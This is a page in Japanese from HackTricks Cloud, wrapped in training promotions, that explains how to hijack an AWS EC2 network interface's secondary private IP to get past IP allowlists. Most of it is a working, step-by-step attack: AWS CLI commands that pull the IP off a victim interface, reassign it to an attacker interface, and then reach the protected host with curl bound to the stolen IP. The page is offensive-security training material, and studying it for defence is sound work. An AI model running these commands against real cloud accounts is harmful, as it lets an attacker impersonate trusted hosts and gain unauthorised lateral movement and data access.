AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ec2:UnassignPrivateIpAddresses と ec2:AssignPrivateIpAddresses を悪用して、被害者 ENI のセカンダリ private IP を奪い、同一の subnet/AZ にある攻撃者 ENI に移動します。多くの内部サービスや security groups は特定の private IP によってアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者は L3 で信頼されたホストを偽装し、allowlisted なサービスへ到達できます。
Prereqs:
- Permissions:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddresseson the victim ENI ARN, andec2:AssignPrivateIpAddresseson the attacker ENI ARN. - Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# ターゲットサービス上の SG($HIJACK_IP のみを許可) - PROTECTED_HOST=
Steps:
- 被害者 ENI からセカンダリ IP を選択する
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- 保護されたホストがそのIPのみを許可していることを確認する(冪等)。代わりにSG-to-SG rulesを使用している場合はスキップ。
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- ベースライン: attacker instance から PROTECTED_HOST への request は spoofed source を使わないと失敗するはず (e.g., SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- 被害者の ENI から secondary IP の割り当てを解除する
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- 同じIPを attacker ENI に割り当てる(AWS CLI v1 では
--allow-reassignmentを追加)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- 所有権が移動したことを確認する
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- 攻撃者インスタンスから、hijacked IP を source-bind して保護対象のホストに到達する(OS に IP が設定されていることを確認する; 設定されていない場合は
ip addr add $HIJACK_IP/<mask> dev eth0で追加する)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
影響
- 同じ subnet/AZ 内の ENIs 間で secondary private IPs を移動させることで、VPC 内の IP allowlists を回避し、信頼されたホストを偽装できます。
- 特定の source IPs によってアクセス制御されている internal services に到達でき、lateral movement や data access を可能にします。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

